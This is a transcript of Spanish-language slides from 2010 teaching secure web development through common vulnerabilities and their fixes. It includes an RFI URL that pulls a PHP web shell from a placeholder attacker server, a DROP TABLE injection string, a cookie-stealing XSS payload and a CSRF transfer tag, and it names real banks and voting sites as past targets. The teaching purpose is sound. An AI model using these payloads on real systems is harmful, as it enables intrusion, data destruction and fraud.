Desarrollo Web Seguro - Seguridad en Programación

17
Desarrollo web Seguro Martín Aberastegue 29 de Octubre de 2010 Programación 4

Transcript of Desarrollo Web Seguro - Seguridad en Programación

Page 1: Desarrollo Web Seguro - Seguridad en Programación

Desarrollo web Seguro

Martín Aberastegue

29 de Octubre de 2010

Programación 4

Page 2: Desarrollo Web Seguro - Seguridad en Programación

Amenazas mas comunes

• Inclusión Remota/Local de archivos (RFI/LFI)

• SQL Injection

• Cross Site Scripting (XSS)

• Cross-Site Request Forgery (CSRF)

• Enumeración de Usuarios

• Sistemas de votaciones

• Subida de archivos (falta control de extensiones y tipos)

Page 3: Desarrollo Web Seguro - Seguridad en Programación

Remote/Local file inclusion

Este tipo de vulnerabilidades permite a un atacan incluir archivos arbitrariamente, tanto local como remotamente, debido a la falta de validación de los datos ingresados.

index.php

<?include($seccion);

?>

http://[servidor_victima]/index.php?seccion=http://[servidor_atacante]/shell.txt&&cmd=ls

shell.txt

<?system($cmd);

?>

http://[servidor_victima]/index.php?seccion=contacto.php

Page 4: Desarrollo Web Seguro - Seguridad en Programación

Remote/Local file inclusion

• Banco Patagonia– RRHH con más de 30,000 postulantes

– Demoraron 11 meses en repararlo

Page 5: Desarrollo Web Seguro - Seguridad en Programación

SQL Injection

• Ejemplo:

• El pequeño Bobby Tables

La inyección de código SQL es una vulnerabilidad que consiste en el aprovechamiento de la falta de validación y filtrado de las variables utilizadas en una consulta SQL.

$query_result = mysql_query("SELECT * FROM usuarios WHERE nombre = '" . $nombre_usuario . "'");SELECT * FROM usuarios WHERE nombre = 'Jorge';SELECT * FROM usuarios WHERE nombre = 'Jorge';DROP TABLE usuarios;SELECT * FROM datos WHERE 'A' = 'A';

$query_result = mysql_query("SELECT * FROM usuarios WHERE nombre = '" . mysql_real_escape_string($nombre_usuario) . "'");SELECT * FROM usuarios WHERE nombre = 'Alicia\';\nDROP TABLE usuarios;\nSELECT * FROM datos WHERE \'-\' = \'-';

Page 6: Desarrollo Web Seguro - Seguridad en Programación

SQL Injection

• Pasa en las mejores familias… o bancos

SQL Injection & XSS en RedLink (Home Banking)

Afecto a 33 entidades bancarias (2004)

• Banco Columbia• Banco de Córdoba• Banco de Corrientes• Banco de Formosa• Banco de la Ciudad de Buenos Aires• Banco de la Nación Argentina• Banco de la Pampa• Banco de la Provincia de Buenos Aires• Banco de la Provincia del Neuquén• Banco de San Juan• Banco de Tierra del Fuego• Banco del Chubut• Banco del Tucumán• Banco Finansur• Banco Hipotecario• Banco Industrial

• Banco Macro Bansud• Banco Mariva• Banco Municipal de la Plata• Banco Municipal de Rosario• Banco Privado• Banco Sáenz• Banco Santa Cruz• Banco Santiago del Estero• BNP Paribas• Credimas• Italcred• Masventas Cia. Financiera• Nuevo Banco de Entre Rios• Nuevo Banco de La Rioja• Nuevo Banco de Santa Fe• Nuevo Banco del Chaco• Sadela Cia. Financiera

Page 7: Desarrollo Web Seguro - Seguridad en Programación

SQL Injection

• Pasa en las mejores familias… o bancos

SQL Injection & datos por defecto en admin del CMS de Banco XXXX (2007)

Page 8: Desarrollo Web Seguro - Seguridad en Programación

Cross Site Scripting (XSS)

Es un error que consiste en la falta de validación por parte de la aplicación de los valores pasados a las variables, por lo que si estas son mostradas en pantalla sin ningún tipo de filtro las mismas podrían ejecutar código HTML/JS/etc.

Esta vulnerabilidad usualmente es considerada de bajo impacto, pero puede ser muy peligrosa también dependiendo del enfoque del atacante.

Una forma de evitar esto es haciendo uso de la función htmlentities()

Ejemplo:

http://www.victima.com/buscar.php?s=texto+buscado

http://www.victima.com/buscar.php?s="><script>alert(document.cookie);<script>

Page 9: Desarrollo Web Seguro - Seguridad en Programación

Cross Site Scripting (XSS)

Page 10: Desarrollo Web Seguro - Seguridad en Programación

Cross Site Scripting (XSS)

Page 11: Desarrollo Web Seguro - Seguridad en Programación

Cross-Site Request Forgery (CSRF)

POST http://banco.com.ar/transferir.php HTTP/1.1......Content-Length: 24;

destino=Carlos&monto=500

<img src="http://banco.com.ar/transferir.php?destino=Martin&monto=5000" width="1" height="1" border="0">

GET http://banco.com.ar/transferir.php?destino=Carlos&monto=500 HTTP/1.1

CRSF fue un termino acuñado por Peter Watkins en el año 2001, pero el primer reporte de esta vulnerabilidad se dio a conocer en 2000.

La mejor forma de entenderlo es con un ejemplo, y resumiendo esta vulnerabilidad le permitiría a un atacante ejecutar comandos en un sitio determinado (A) cuando la victima ingresa al sitio (B), debido a una falta de comprobación del origen de los datos por parte de (A).

Ejemplo:

Una forma de tratar de contrarrestar este tipo de ataques es haciendo uso de tokens asociados a la sesión activa del usuario.

Page 12: Desarrollo Web Seguro - Seguridad en Programación

Enumeración de Usuarios

El usuario no existe El usuario existe

Page 13: Desarrollo Web Seguro - Seguridad en Programación

Sistemas de Votaciones

• Big Idea Chair (Yahoo!) Solos realiza control por cookie.

http://www.bigideachair.com.ar/shortlist2010/shortlist_caso01.php

• Hugo Create (Hugo Boss)Control por cookie e IP mal implementado haciendo uso de AJAX.

http://www.hugocreate.com/common/php/rpc.php?j=1&q=36119&t=187.219.197.188

Los sistemas de votaciones también suelen ser objetivo de ataques y muchas veces no se realizan buenos controles por lo que los resultados de las mismas podrían ser fácilmente influenciados.

Page 14: Desarrollo Web Seguro - Seguridad en Programación

Subida de Archivos

Aquí el problema radica en que muchas veces no se aplican buenos filtros a los archivos a subir, tanto en tamaño, tipo o extensión; lo que brinda la posibilidad a un atacante de subir su propio código a nuestro servidor y ejecutarlo pudiendo así ganar acceso a los archivos de nuestro sitio.

.htaccess

<Files ^(*.jpeg|*.jpg|*.png|*.gif)>order deny,allowdeny from all

</Files>AddType text/plain .plAddType text/plain .cgiAddType text/plain .php

No permitir la ejecución de archivos donde no se deba.

Los casos mas comunes se dan en los sitios que permiten a los usuarios subir sus propias imágenes, avatares o documentos.

Page 15: Desarrollo Web Seguro - Seguridad en Programación

Consejos

• ¡Las claves no se guardan en texto plano!

• Enviar información sensible cifrada

• Utilizar tokens asociados a la sesión del usuario

• No utilizar nombres de archivos muy obvios en secciones privadas o de acceso restringido.

• Usar el sentido común

Page 16: Desarrollo Web Seguro - Seguridad en Programación

¿Preguntas?

Page 17: Desarrollo Web Seguro - Seguridad en Programación

¡Muchas Gracias!

Martín [email protected]

http://www.martinaberastegue.com